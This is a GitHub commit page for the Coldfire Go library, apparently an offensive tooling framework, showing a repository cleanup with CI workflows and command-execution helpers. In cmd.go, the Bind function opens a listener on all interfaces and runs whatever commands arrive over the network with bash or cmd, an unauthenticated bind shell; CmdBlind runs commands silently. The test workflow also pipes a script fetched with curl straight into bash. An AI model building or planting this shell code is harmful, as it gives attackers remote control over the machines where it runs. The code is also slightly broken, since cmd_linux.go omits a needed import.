Skip to content

Commit 56a3138

Browse files
committed
feat: cleanup of the repository
This is initial cleanup of the Coldfire repository. Functions are spread between files in logical manner. In the future, instead of files lied flat in coldfire package, subpackages should be created. Some basic tests are added, additionally created GitHub Actions workflows. Closes #27
1 parent 1d2b507 commit 56a3138

26 files changed

+1842
-1634
lines changed

.github/workflows/static-check.yml

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
on:
2+
pull_request:
3+
branches:
4+
- master
5+
name: Static Check
6+
7+
jobs:
8+
9+
fmt:
10+
name: Fmt
11+
runs-on: ubuntu-latest
12+
steps:
13+
- uses: actions/checkout@master
14+
- name: check
15+
uses: grandcolline/golang-github-actions@v1.1.0
16+
with:
17+
run: fmt
18+
token: ${{ secrets.GITHUB_TOKEN }}
19+
20+
lint:
21+
name: Lint
22+
runs-on: ubuntu-latest
23+
steps:
24+
- uses: actions/checkout@master
25+
- name: check
26+
uses: grandcolline/golang-github-actions@v1.1.0
27+
with:
28+
run: lint
29+
token: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/test.yml

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
on:
2+
pull_request:
3+
branches:
4+
- master
5+
name: Test
6+
7+
jobs:
8+
9+
test:
10+
runs-on: ubuntu-latest
11+
steps:
12+
- name: Install Go
13+
uses: actions/setup-go@v2
14+
with:
15+
go-version: 1.17.x
16+
- name: Checkout code
17+
uses: actions/checkout@v2
18+
- name: Test
19+
run: |
20+
go test -coverprofile coverage.txt -covermode atomic ./...
21+
- name: Upload report
22+
env:
23+
CODECOV_TOKEN: "{{ secrets.CODECOV_TOKEN }}"
24+
run: |
25+
bash <(curl -s https://codecov.io/bash)

cmd.go

+98
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
package coldfire
2+
3+
import (
4+
"fmt"
5+
"net"
6+
"os"
7+
"os/exec"
8+
"runtime"
9+
"strconv"
10+
"strings"
11+
)
12+
13+
// CmdOut executes a given command and returns its output.
14+
func CmdOut(command string) (string, error) {
15+
return cmdOut(command)
16+
}
17+
18+
// CmdOutPlatform executes a given set of commands based on the OS of the machine.
19+
func CmdOutPlatform(commands map[string]string) (string, error) {
20+
cmd := commands[runtime.GOOS]
21+
out, err := CmdOut(cmd)
22+
if err != nil {
23+
return "", err
24+
}
25+
26+
return out, nil
27+
}
28+
29+
// CmdRun executes a command and writes output as well
30+
// as error to STDOUT.
31+
func CmdRun(command string) {
32+
parts := strings.Fields(command)
33+
head := parts[0]
34+
parts = parts[1:]
35+
cmd := exec.Command(head, parts...)
36+
output, err := cmd.CombinedOutput()
37+
if err != nil {
38+
PrintError(err.Error())
39+
fmt.Println(string(output))
40+
} else {
41+
fmt.Println(string(output))
42+
}
43+
}
44+
45+
// CmdBlind runs a command without any side effects.
46+
func CmdBlind(command string) {
47+
parts := strings.Fields(command)
48+
head := parts[0]
49+
parts = parts[1:]
50+
cmd := exec.Command(head, parts...)
51+
_, _ = cmd.CombinedOutput()
52+
}
53+
54+
// CmdDir executes commands which are mapped to a string
55+
// indicating the directory where the command is executed.
56+
func CmdDir(dirs_cmd map[string]string) ([]string, error) {
57+
outs := []string{}
58+
for dir, cmd := range dirs_cmd {
59+
err := os.Chdir(dir)
60+
if err != nil {
61+
return nil, err
62+
}
63+
64+
o, err := CmdOut(cmd)
65+
if err != nil {
66+
return nil, err
67+
}
68+
outs = append(outs, o)
69+
}
70+
71+
return outs, nil
72+
}
73+
74+
// Bind tells the process to listen to a local port
75+
// for commands.
76+
func Bind(port int) {
77+
listen, err := net.Listen("tcp", "0.0.0.0:"+strconv.Itoa(port))
78+
ExitOnError(err)
79+
defer listen.Close()
80+
81+
for {
82+
conn, err := listen.Accept()
83+
if err != nil {
84+
PrintError("Cannot bind to selected port")
85+
}
86+
handleBind(conn)
87+
}
88+
}
89+
90+
func handleBind(conn net.Conn) {
91+
for {
92+
buffer := make([]byte, 1024)
93+
length, _ := conn.Read(buffer)
94+
command := string(buffer[:length-1])
95+
out, _ := CmdOut(command)
96+
conn.Write([]byte(out))
97+
}
98+
}

cmd_linux.go

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
package coldfire
2+
3+
func cmdOut(command string) (string, error) {
4+
cmd := exec.Command("bash", "-c", command)
5+
output, err := cmd.CombinedOutput()
6+
out := string(output)
7+
return out, err
8+
}

cmd_windows.go

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
package coldfire
2+
3+
import "os/exec"
4+
5+
func cmdOut(command string) (string, error) {
6+
cmd := exec.Command("cmd", "/C", command)
7+
//cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
8+
output, err := cmd.CombinedOutput()
9+
out := string(output)
10+
return out, err
11+
}

0 commit comments

Comments
 (0)